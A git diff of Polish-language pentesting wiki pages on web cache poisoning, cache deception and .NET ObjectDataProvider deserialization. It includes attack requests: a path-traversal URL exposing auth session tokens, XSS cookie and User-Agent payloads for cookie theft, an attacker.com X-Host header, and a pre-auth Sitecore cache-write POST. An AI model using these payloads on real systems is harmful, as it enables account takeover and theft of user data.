DoS @@ -80,52 +81,54 @@ cache-poisoning-to-dos.md ### Cache poisoning through CDNs -W **[tym opisie](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** wyjaśniono następujący prosty scenariusz: +W **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** wyjaśniono następujący prosty scenariusz: -- CDN będzie cache'ować wszystko pod `/share/` -- CDN NIE zdekoduje ani nie znormalizuje `%2F..%2F`, dlatego może być użyty jako **path traversal do uzyskania dostępu do innych wrażliwych lokalizacji, które będą cache'owane** jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` -- Serwer WWW ZDEKODUJE i znormalizuje `%2F..%2F`, i odpowie `/api/auth/session`, który **zawiera token autoryzacji**. +- CDN będzie przechowywać w cache wszystko znajdujące się pod `/share/` +- CDN NIE dekoduje ani nie normalizuje `%2F..%2F`, dlatego może być użyty jako **path traversal do uzyskania dostępu do innych wrażliwych lokalizacji, które będą przechowywane w cache** jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` +- Serwer WWW ZDEKODUJE i znormalizuje `%2F..%2F`, i odpowie zasobem `/api/auth/session`, który **zawiera auth token** ### Using web cache poisoning to exploit cookie-handling vulnerabilities -Ciasteczka mogą być również odzwierciedlane w odpowiedzi strony. Jeśli możesz to wykorzystać, aby spowodować XSS na przykład, możesz być w stanie wykorzystać XSS w kilku klientach, które ładują złośliwą odpowiedź z cache. +Cookies mogą być również odzwierciedlane w odpowiedzi strony. Jeśli możesz to wykorzystać do wywołania XSS, na przykład, możesz być w stanie wykorzystać XSS w wielu klientach, które ładują złośliwą odpowiedź z cache. ```html GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` -Zauważ, że jeśli podatny cookie jest często używany przez użytkowników, regularne żądania będą czyścić pamięć podręczną. +Zwróć uwagę, że jeśli podatny cookie jest często używany przez użytkowników, zwykłe żądania będą czyścić cache. -### Generowanie rozbieżności z użyciem ograniczników, normalizacji i kropek +### Generowanie rozbieżności przy użyciu separatorów, normalizacji i kropek Sprawdź: -{{#ref}} -cache-poisoning-via-url-discrepancies.md -{{#endref}} - -### Zatrucie pamięci podręcznej z wykorzystaniem przejścia ścieżki w celu kradzieży klucza API - -[**Ten artykuł wyjaśnia**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) jak możliwe było skradzenie klucza API OpenAI za pomocą URL-a takiego jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, ponieważ wszystko, co pasuje do `/share/*`, będzie buforowane bez normalizacji URL przez Cloudflare, co miało miejsce, gdy żądanie dotarło do serwera webowego. - -Jest to również lepiej wyjaśnione w: {{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}} -### Wykorzystanie wielu nagłówków do eksploatacji podatności na zatrucie pamięci podręcznej +### Cache poisoning przy użyciu path traversal w celu kradzieży API key -Czasami będziesz musiał **wykorzystać kilka niekluczowanych wejść**, aby móc nadużyć pamięci podręcznej. Na przykład, możesz znaleźć **otwarty przekierowanie**, jeśli ustawisz `X-Forwarded-Host` na domenę kontrolowaną przez Ciebie i `X-Forwarded-Scheme` na `http`. **Jeśli** **serwer** **przekazuje** wszystkie **żądania HTTP** **do HTTPS** i używa nagłówka `X-Forwarded-Scheme` jako nazwy domeny dla przekierowania. Możesz kontrolować, gdzie strona jest skierowana przez przekierowanie. +[**Ten opis wyjaśnia**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), jak było możliwe skraść OpenAI API key za pomocą URL-a takiego jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, ponieważ wszystko pasujące do `/share/*` będzie cached bez normalizowania URL przez Cloudflare, co było wykonywane, gdy żądanie docierało do serwera WWW. + +To jest też lepiej wyjaśnione w: + + +{{#ref}} +cache-poisoning-via-url-discrepancies.md +{{#endref}} + +### Używanie wielu nagłówków do wykorzystania web cache poisoning vulnerabilities + +Czasami będziesz musiał **exploitować kilka unkeyed inputs**, aby móc nadużyć cache. Na przykład możesz znaleźć **Open redirect**, jeśli ustawisz `X-Forwarded-Host` na domenę kontrolowaną przez siebie i `X-Forwarded-Scheme` na `http`. **Jeśli** **serwer** **przekierowuje** wszystkie żądania **HTTP** **na HTTPS** i używa nagłówka `X-Forwarded-Scheme` jako nazwy domeny dla przekierowania, możesz kontrolować, dokąd strona zostanie przekierowana. ```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` -### Wykorzystywanie z ograniczonym nagłówkiem `Vary` +### Wykorzystywanie przy ograniczonym nagłówku `Vary` -Jeśli odkryłeś, że nagłówek **`X-Host`** jest używany jako **nazwa domeny do ładowania zasobu JS**, ale nagłówek **`Vary`** w odpowiedzi wskazuje na **`User-Agent`**. W takim razie musisz znaleźć sposób na wyekstrahowanie User-Agent ofiary i zanieczyszczenie pamięci podręcznej przy użyciu tego user agenta: +Jeśli ustalisz, że nagłówek **`X-Host`** jest używany jako **nazwa domeny do ładowania zasobu JS**, ale nagłówek odpowiedzi **`Vary`** wskazuje **`User-Agent`**, musisz znaleźć sposób, aby exfiltrate User-Agent ofiary i poison the cache używając tego User-Agenta: ```html GET / HTTP/1.1 Host: vulnerbale.net @@ -134,7 +137,7 @@ X-Host: attacker.com ``` ### Fat Get -Wyślij żądanie GET z żądaniem w URL i w ciele. Jeśli serwer WWW używa tego z ciała, ale serwer cache'ujący przechowuje to z URL, każdy, kto uzyskuje dostęp do tego URL, faktycznie użyje parametru z ciała. Jak w przypadku luki, którą znalazł James Kettle na stronie Github: +Wyślij żądanie GET, umieszczając request zarówno w URL, jak i w body. Jeśli web server użyje wartości z body, a cache server zapisze w cache wartość z URL, każdy, kto odwiedzi ten URL, faktycznie użyje parametru z body. Jak vuln, który James Kettle znalazł na stronie Github: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -143,103 +146,120 @@ Content-Length: 22 report=innocent-victim ``` -There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) +There is a Portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) -### Ukrywanie parametrów +### Parameter Cloacking -Na przykład możliwe jest oddzielanie **parametrów** na serwerach ruby za pomocą znaku **`;`** zamiast **`&`**. Może to być użyte do umieszczania wartości parametrów bez kluczy wewnątrz tych z kluczami i ich nadużywania. +Na przykład możliwe jest rozdzielanie **parameters** na serwerach ruby za pomocą znaku **`;`** zamiast **`&`**. To może być użyte do umieszczenia wartości niekluczowanych parameters wewnątrz kluczowanych i ich nadużycia. Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) -### Wykorzystywanie zatrucia pamięci podręcznej HTTP poprzez nadużywanie HTTP Request Smuggling +### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling -Dowiedz się tutaj, jak przeprowadzać [ataki na zatrucie pamięci podręcznej, nadużywając HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning). +Dowiedz się tutaj, jak wykonać [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning). -### Automatyczne testowanie na zatrucie pamięci podręcznej +### Automated testing for Web Cache Poisoning -[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) może być używany do automatycznego testowania na zatrucie pamięci podręcznej. Obsługuje wiele różnych technik i jest wysoce konfigurowalny. +The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) może być użyty do automatycznego testowania pod kątem web cache poisoning. Wspiera wiele różnych technik i jest wysoko konfigurowalny. -Przykład użycia: `wcvs -u example.com` +Example usage: `wcvs -u example.com` -### Odbicie nagłówka XSS + seeding pamięci podręcznej wspomagany przez CDN/WAF (User-Agent, automatycznie buforowany .js) +### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js) -Ten wzór z rzeczywistego świata łączy prymityw odbicia opartego na nagłówku z zachowaniem CDN/WAF, aby niezawodnie zatruć buforowany HTML serwowany innym użytkownikom: +Ten wzorzec z rzeczywistego świata łączy header-based reflection primitive z zachowaniem CDN/WAF, aby niezawodnie zatruć zbuforowany HTML serwowany innym użytkownikom: -- Główny HTML odbił nieufny nagłówek żądania (np. `User-Agent`) w kontekście wykonawczym. -- CDN usunął nagłówki pamięci podręcznej, ale istniała pamięć podręczna wewnętrzna/oryginalna. CDN również automatycznie buforował żądania kończące się statycznymi rozszerzeniami (np. `.js`), podczas gdy WAF stosował słabszą inspekcję treści do GETów dla statycznych zasobów. -- Dziwactwa przepływu żądań pozwoliły na to, aby żądanie do ścieżki `.js` wpłynęło na klucz/wariant pamięci podręcznej używany dla następnego głównego HTML, umożliwiając XSS między użytkownikami poprzez odbicie nagłówka. +- Główny HTML odzwierciedlał nieufny request header (np. `User-Agent`) do kontekstu wykonywalnego. +- CDN usuwał cache headers, ale istniał cache wewnętrzny/origin. CDN również auto-cache'ował żądania kończące się na statyczne rozszerzenia (np. `.js`), podczas gdy WAF stosował słabszą inspekcję treści dla GETs dotyczących statycznych assetów. +- Dziwactwa przepływu requestów pozwalały, aby żądanie do ścieżki `.js` wpłynęło na cache key/variant używany dla kolejnego głównego HTML, umożliwiając cross-user XSS przez header reflection. -Praktyczny przepis (obserwowany w popularnym CDN/WAF): +Praktyczny przepis (zaobserwowany na popularnym CDN/WAF): -1) Z czystego IP (unikaj wcześniejszych degradacji opartych na reputacji), ustaw złośliwy `User-Agent` za pomocą przeglądarki lub Burp Proxy Match & Replace. -2) W Burp Repeater przygotuj grupę dwóch żądań i użyj "Wyślij grupę równolegle" (tryb pojedynczego pakietu działa najlepiej): -- Pierwsze żądanie: GET zasobu `.js` na tym samym pochodzeniu, wysyłając swój złośliwy `User-Agent`. -- Natychmiast po tym: GET głównej strony (`/`). -3) Wyścig routingu CDN/WAF oraz automatycznie buforowane `.js` często zasiewają zatrutą wersję buforowanego HTML, która jest następnie serwowana innym odwiedzającym dzielącym te same warunki klucza pamięci podręcznej (np. te same wymiary `Vary`, takie jak `User-Agent`). +1) Z czystego IP (unikaj wcześniejszych obniżeń reputacji), ustaw złośliwy `User-Agent` przez przeglądarkę lub Burp Proxy Match & Replace. +2) W Burp Repeater przygotuj grupę dwóch requestów i użyj "Send group in parallel" (najlepiej w trybie single-packet): +- Pierwsze żądanie: GET zasób `.js` na tym samym originie wysyłając złośliwy `User-Agent`. +- Bezpośrednio po tym: GET głównej strony (`/`). +3) Wyścig routingu CDN/WAF plus auto-cached `.js` często seeduje zatruwaną zbuforowaną wariantę HTML, która potem jest serwowana innym odwiedzającym dzielącym te same warunki cache key (np. te same wymiary `Vary` jak `User-Agent`). -Przykład ładunku nagłówka (do eksfiltracji ciasteczek nie-HttpOnly): +Example header payload (to exfiltrate non-HttpOnly cookies): ``` User-Agent: Mo00ozilla/5.0" ``` Operational tips: -- Wiele CDN-ów ukrywa nagłówki pamięci podręcznej; zatrucie może wystąpić tylko w przypadku cykli odświeżania trwających wiele godzin. Użyj wielu adresów IP i ogranicz prędkość, aby uniknąć wyzwalaczy limitów szybkości lub reputacji. -- Użycie adresu IP z własnej chmury CDN czasami poprawia spójność routingu. -- Jeśli obecna jest surowa CSP, to nadal działa, jeśli odbicie wykonuje się w głównym kontekście HTML, a CSP zezwala na wykonanie wbudowane lub jest omijane przez kontekst. +- Wiele CDN ukrywa nagłówki cache; poisoning może być widoczny tylko przy wielogodzinnych cyklach odświeżania. Używaj wielu punktów obserwacyjnych (różnych adresów IP) i stosuj throttle, aby uniknąć wyzwalaczy rate-limit lub problemów z reputacją. +- Użycie IP z własnej chmury CDN czasami poprawia spójność routingu. +- Jeśli obecna jest restrykcyjna CSP, wciąż to działa, jeśli refleksja wykonuje się w głównym kontekście HTML i CSP pozwala na inline execution lub jest obejście zależne od kontekstu. Impact: -- Jeśli ciasteczka sesyjne nie są `HttpOnly`, możliwe jest przejęcie konta bez kliknięcia przez masowe wyeksportowanie `document.cookie` od wszystkich użytkowników, którym serwowany jest zatruty HTML. +- If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML. Defenses: -- Przestań odbijać nagłówki żądań w HTML; ściśle koduj kontekstowo, jeśli to nieuniknione. Dostosuj polityki pamięci podręcznej CDN i źródła oraz unikaj różnicowania na niezaufanych nagłówkach. -- Upewnij się, że WAF stosuje inspekcję treści konsekwentnie do żądań `.js` i statycznych ścieżek. -- Ustaw `HttpOnly` (i `Secure`, `SameSite`) na ciasteczkach sesyjnych. +- Przestań odzwierciedlać request headers w HTML; jeśli to nieuniknione, ściśle context-encode. Zsynchronizuj polityki cache CDN i origin i unikaj wariacji w oparciu o niezaufane nagłówki. +- Upewnij się, że WAF stosuje inspekcję treści konsekwentnie do żądań `.js` i ścieżek statycznych. +- Ustaw `HttpOnly` (oraz `Secure`, `SameSite`) na session cookies. -## Vulnerable Examples +### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection) + +Wzorzec specyficzny dla Sitecore umożliwia nieuwierzytelnione zapisy do HtmlCache poprzez nadużycie pre‑auth XAML handlerów i odbicia AjaxScriptManager. Kiedy osiągany jest handler `Sitecore.Shell.Xaml.WebControl`, dostępny jest `xmlcontrol:GlobalHeader` (pochodzący z `Sitecore.Web.UI.WebControl`) i dozwolone jest wykonanie następującego reflective call: +``` +POST /-/xaml/Sitecore.Shell.Xaml.WebControl +Content-Type: application/x-www-form-urlencoded + +__PARAMETERS=AddToCache("key","…payload…")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 +``` +To zapisuje dowolny HTML pod wybranym przez atakującego cache key, umożliwiając precyzyjne poisoning, gdy cache keys są znane. + +For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE): + +{{#ref}} +../../network-services-pentesting/pentesting-web/sitecore/README.md +{{#endref}} + +## Przykłady podatności ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS przesłał fragment wewnątrz URL bez jego usuwania i wygenerował klucz pamięci podręcznej, używając tylko hosta, ścieżki i zapytania (ignorując fragment). Tak więc żądanie `/#/../?r=javascript:alert(1)` zostało wysłane do backendu jako `/#/../?r=javascript:alert(1)` i klucz pamięci podręcznej nie zawierał ładunku, tylko host, ścieżkę i zapytanie. +ATS przekazywał fragment URL bez jego usuwania i generował cache key używając wyłącznie host, path i query (ignorując fragment). W efekcie żądanie `/#/../?r=javascript:alert(1)` zostało wysłane do backendu jako `/#/../?r=javascript:alert(1)`, a cache key nie zawierał payloadu, tylko host, path i query. ### GitHub CP-DoS -Wysłanie złej wartości w nagłówku content-type spowodowało wyzwolenie odpowiedzi 405 w pamięci podręcznej. Klucz pamięci podręcznej zawierał ciasteczko, więc możliwe było zaatakowanie tylko użytkowników nieautoryzowanych. +Wysłanie nieprawidłowej wartości w nagłówku content-type powodowało zwrócenie zcache’owanej odpowiedzi 405. Cache key zawierał cookie, więc atak był możliwy jedynie przeciwko niezalogowanym użytkownikom. ### GitLab + GCP CP-DoS -GitLab używa koszy GCP do przechowywania treści statycznych. **GCP Buckets** obsługują **nagłówek `x-http-method-override`**. Tak więc możliwe było wysłanie nagłówka `x-http-method-override: HEAD` i zatrucie pamięci podręcznej, aby zwrócić pustą treść odpowiedzi. Mogło to również wspierać metodę `PURGE`. +GitLab używa GCP buckets do przechowywania statycznych treści. **GCP Buckets** obsługują nagłówek **`x-http-method-override`**. Dzięki temu możliwe było wysłanie nagłówka `x-http-method-override: HEAD` i popoisowanie cache, by zwracał pusty body odpowiedzi. Obsługiwana mogła być też metoda `PURGE`. ### Rack Middleware (Ruby on Rails) -W aplikacjach Ruby on Rails często wykorzystywane jest oprogramowanie pośredniczące Rack. Celem kodu Rack jest wzięcie wartości nagłówka **`x-forwarded-scheme`** i ustawienie go jako schematu żądania. Gdy nagłówek `x-forwarded-scheme: http` jest wysyłany, następuje przekierowanie 301 do tej samej lokalizacji, co potencjalnie może spowodować Denial of Service (DoS) dla tego zasobu. Dodatkowo aplikacja może uznawać nagłówek `X-forwarded-host` i przekierowywać użytkowników do określonego hosta. To zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, co stanowi zagrożenie dla bezpieczeństwa. +W aplikacjach Ruby on Rails często używa się Rack middleware. Kod Rack pobiera wartość nagłówka `x-forwarded-scheme` i ustawia ją jako scheme żądania. Gdy wysłano `x-forwarded-scheme: http`, następowało przekierowanie 301 do tej samej lokalizacji, co potencjalnie mogło spowodować DoS dla tego zasobu. Dodatkowo aplikacja może respektować nagłówek `X-forwarded-host` i przekierować użytkowników na wskazany host. To zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, stanowiąc zagrożenie. ### 403 and Storage Buckets -Cloudflare wcześniej buforował odpowiedzi 403. Próba dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami autoryzacji skutkowała odpowiedzią 403, która była buforowana. Chociaż Cloudflare przestał buforować odpowiedzi 403, to zachowanie może nadal występować w innych usługach proxy. +Cloudflare wcześniej cache’ował odpowiedzi 403. Próby dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami Authorization zwracały 403, które były cachowane. Choć Cloudflare przestał cachować 403, to zachowanie może nadal występować w innych serwisach proxy. ### Injecting Keyed Parameters -Bufory często zawierają konkretne parametry GET w kluczu pamięci podręcznej. Na przykład, Varnish Fastly buforował parametr `size` w żądaniach. Jednak jeśli wysłano również zakodowaną wersję parametru (np. `siz%65`) z błędną wartością, klucz pamięci podręcznej byłby skonstruowany przy użyciu poprawnego parametru `size`. Jednak backend przetwarzałby wartość w zakodowanym parametrze. Zakodowanie drugiego parametru `size` prowadziło do jego pominięcia przez pamięć podręczną, ale jego wykorzystania przez backend. Przypisanie wartości 0 do tego parametru skutkowało buforowalnym błędem 400 Bad Request. +Cache często uwzględniają konkretne GET parametry w cache key. Na przykład Fastly's Varnish cachował parametr `size`. Jednak jeśli wysłano zakodowaną wersję parametru (np. `siz%65`) z błędną wartością, cache key był budowany używając poprawnego `size`, podczas gdy backend przetwarzał wartość zakodowanego parametru. URL-encoding drugiego `size` powodował jego pominięcie przez cache, ale użycie przez backend. Przypisanie wartości 0 do tego parametru skutkowało cache’owalnym błędem 400 Bad Request. ### User Agent Rules -Niektórzy deweloperzy blokują żądania z user-agentami odpowiadającymi tym z narzędzi o dużym ruchu, takich jak FFUF czy Nuclei, aby zarządzać obciążeniem serwera. Ironią jest to, że takie podejście może wprowadzać luki, takie jak zatrucie pamięci podręcznej i DoS. +Niektórzy deweloperzy blokują żądania z user-agentami odpowiadającymi narzędziom o dużym ruchu, takim jak FFUF czy Nuclei, aby ograniczyć obciążenie serwera. Paradoksalnie, takie podejście może wprowadzać podatności, np. cache poisoning i DoS. ### Illegal Header Fields -[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) określa akceptowalne znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza określonego zakresu **tchar** powinny idealnie wyzwalać odpowiedź 400 Bad Request. W praktyce serwery nie zawsze przestrzegają tego standardu. Znaczącym przykładem jest Akamai, które przesyła nagłówki z nieprawidłowymi znakami i buforuje każdy błąd 400, o ile nagłówek `cache-control` nie jest obecny. Zidentyfikowano wzór, w którym wysłanie nagłówka z nielegalnym znakiem, takim jak `\`, skutkowało buforowalnym błędem 400 Bad Request. +[https://datatracker.ietf.org/doc/html/rfc7230](https://datatracker.ietf.org/doc/html/rfc7230) określa dozwolone znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza zakresu **tchar** powinny w teorii skutkować 400 Bad Request. W praktyce serwery nie zawsze tego przestrzegają. Przykładowo Akamai przepuszcza nagłówki z nieprawidłowymi znakami i cache’uje każdy błąd 400, o ile nie ma nagłówka `cache-control`. Zidentyfikowano wykorzystywalny wzorzec, gdzie wysłanie nagłówka z nielegalnym znakiem, np. `\`, powodowało cache’owalny 400 Bad Request. -### Finding new headers +### Wyszukiwanie nowych nagłówków [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) ## Cache Deception -Celem Cache Deception jest sprawienie, aby klienci **ładowali zasoby, które będą zapisywane przez pamięć podręczną z ich wrażliwymi informacjami**. +Celem Cache Deception jest sprawienie, by klienci ładowali zasoby, które zostaną zapisane w cache wraz z ich poufnymi informacjami. -Przede wszystkim zauważ, że **rozszerzenia** takie jak `.css`, `.js`, `.png` itp. są zazwyczaj **konfigurowane** do **zapisywania** w **pamięci podręcznej.** Dlatego, jeśli uzyskasz dostęp do `www.example.com/profile.php/nonexistent.js`, pamięć podręczna prawdopodobnie zapisze odpowiedź, ponieważ widzi rozszerzenie `.js`. Ale jeśli **aplikacja** odtwarza **wrażliwe** treści użytkownika przechowywane w _www.example.com/profile.php_, możesz **ukraść** te treści od innych użytkowników. +Przede wszystkim zwróć uwagę, że **rozszerzenia** takie jak `.css`, `.js`, `.png` itd. są zwykle **skonfigurowane**, by być **zapisane** w **cache.** Dlatego jeśli odwiedzisz `www.example.com/profile.php/nonexistent.js`, cache prawdopodobnie zapisze odpowiedź, ponieważ widzi rozszerzenie `.js`. Jednak jeśli **aplikacja** odpowiada zawartością zawierającą **poufne** dane użytkownika przechowywane w _www.example.com/profile.php_, możesz **ukraść** te dane od innych użytkowników. Inne rzeczy do przetestowania: @@ -248,19 +268,19 @@ Inne rzeczy do przetestowania: - _www.example.com/profile.php/test.js_ - _www.example.com/profile.php/../test.js_ - _www.example.com/profile.php/%2e%2e/test.js_ -- _Użyj mniej znanych rozszerzeń, takich jak_ `.avif` +- _Use lesser known extensions such as_ `.avif` -Inny bardzo jasny przykład można znaleźć w tym opisie: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę, taką jak _http://www.example.com/home.php/non-existent.css_, treść _http://www.example.com/home.php_ (**z wrażliwymi informacjami użytkownika**) zostanie zwrócona, a serwer pamięci podręcznej zapisze wynik.\ -Następnie **atakujący** może uzyskać dostęp do _http://www.example.com/home.php/non-existent.css_ w swojej przeglądarce i obserwować **poufne informacje** użytkowników, którzy uzyskali dostęp wcześniej. +Kolejny czytelny przykład znajduje się w tym write-upie: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ +W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę jak _http://www.example.com/home.php/non-existent.css_, to zawartość _http://www.example.com/home.php_ (**z poufnymi informacjami użytkownika**) zostanie zwrócona i serwer cache zapisze wynik.\ +Następnie **atakujący** może odwiedzić _http://www.example.com/home.php/non-existent.css_ w swojej przeglądarce i zobaczyć **poufne informacje** użytkowników, którzy odwiedzili wcześniej. -Zauważ, że **proxy pamięci podręcznej** powinno być **skonfigurowane** do **buforowania** plików **na podstawie** **rozszerzenia** pliku (_.css_) i nie na podstawie typu treści. W przykładzie _http://www.example.com/home.php/non-existent.css_ będzie miał typ treści `text/html` zamiast `text/css` (co jest oczekiwane dla pliku _.css_). +Zwróć uwagę, że **cache proxy** powinien być **skonfigurowany**, by **cache’ować** pliki **na podstawie** **rozszerzenia** pliku (_.css_) a nie na podstawie content-type. W przykładzie _http://www.example.com/home.php/non-existent.css_ będzie miał content-type `text/html` zamiast `text/css`. -Dowiedz się tutaj, jak przeprowadzać [ataki Cache Deceptions wykorzystujące HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). +Dowiedz się, jak przeprowadzić [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). -## Automatic Tools +## Narzędzia automatyczne -- [**toxicache**](https://github.com/xhzeem/toxicache): skaner Golang do znajdowania luk w pamięci podręcznej w sieci w liście URL i testowania wielu technik wstrzykiwania. +- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques. ## References @@ -272,6 +292,7 @@ Dowiedz się tutaj, jak przeprowadzać [ataki Cache Deceptions wykorzystujące H - [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/) - [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) - [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace) +- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index 86e5636be..b3b7b355f 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -1,38 +1,38 @@ -# Podstawowa deserializacja .Net (gadget ObjectDataProvider, ExpandedWrapper i Json.Net) +# Podstawowa deserializacja .Net (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) {{#include ../../banners/hacktricks-training.md}} -Ten post jest poświęcony **zrozumieniu, jak gadget ObjectDataProvider jest wykorzystywany** do uzyskania RCE oraz **jak** biblioteki serializacji **Json.Net i xmlSerializer mogą być nadużywane** z tym gadgetem. +Ten post ma na celu **zrozumienie, jak gadget ObjectDataProvider jest wykorzystywany** do uzyskania RCE oraz **jak** biblioteki serializacji **Json.Net i xmlSerializer mogą być nadużyte** z użyciem tego gadgetu. ## Gadget ObjectDataProvider -Z dokumentacji: _klasa ObjectDataProvider opakowuje i tworzy obiekt, który możesz użyć jako źródło powiązania_.\ -Tak, to dziwne wyjaśnienie, więc zobaczmy, co ma ta klasa, co jest tak interesujące: Ta klasa pozwala na **opakowanie dowolnego obiektu**, użycie _**MethodParameters**_ do **ustawienia dowolnych parametrów** i następnie **użycie MethodName do wywołania dowolnej funkcji** dowolnego obiektu zadeklarowanego przy użyciu dowolnych parametrów.\ -W związku z tym, dowolny **obiekt** będzie **wykonywał** **funkcję** z **parametrami podczas deserializacji.** +From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\ +Tak, to dziwne wyjaśnienie, więc zobaczmy, co w tej klasie jest tak interesujące: ta klasa pozwala **opakować dowolny obiekt**, użyć _**MethodParameters**_ aby **ustawić dowolne parametry**, a następnie **użyć MethodName do wywołania dowolnej funkcji** tego obiektu, przekazując wcześniej ustawione parametry.\ +W efekcie dowolny **obiekt** wykona **funkcję** z **parametrami podczas deserializacji.** ### **Jak to jest możliwe** -Przestrzeń nazw **System.Windows.Data**, znajdująca się w **PresentationFramework.dll** w `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, to miejsce, w którym zdefiniowano i zaimplementowano ObjectDataProvider. +Przestrzeń nazw **System.Windows.Data**, znajdująca się w **PresentationFramework.dll** pod `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, to miejsce, gdzie zdefiniowano i zaimplementowano ObjectDataProvider. -Używając [**dnSpy**](https://github.com/0xd4d/dnSpy) możesz **zbadać kod** klasy, która nas interesuje. Na poniższym obrazku widzimy kod **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nazwa metody** +Korzystając z [**dnSpy**](https://github.com/0xd4d/dnSpy) możesz **przejrzeć kod** klasy, która nas interesuje. Na obrazku poniżej widzimy kod **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** ![](<../../images/image (427).png>) -Jak możesz zauważyć, gdy `MethodName` jest ustawione, wywoływana jest `base.Refresh()`, przyjrzyjmy się, co to robi: +Jak widać, gdy ustawiany jest `MethodName`, wywoływana jest metoda `base.Refresh()`. Przyjrzyjmy się, co ona robi: ![](<../../images/image (319).png>) -Ok, kontynuujmy, aby zobaczyć, co robi `this.BeginQuery()`. `BeginQuery` jest nadpisywane przez `ObjectDataProvider` i to jest to, co robi: +OK, przejdźmy dalej i zobaczmy, co robi `this.BeginQuery()`. `BeginQuery` jest przesłonięta przez `ObjectDataProvider` i wygląda tak: ![](<../../images/image (345).png>) -Zauważ, że na końcu kodu wywoływana jest `this.QueryWorke(null)`. Zobaczmy, co to wykonuje: +Zwróć uwagę, że na końcu kodu wywoływana jest metoda `this.QueryWorke(null)`. Zobaczmy, co to wykonuje: ![](<../../images/image (596).png>) 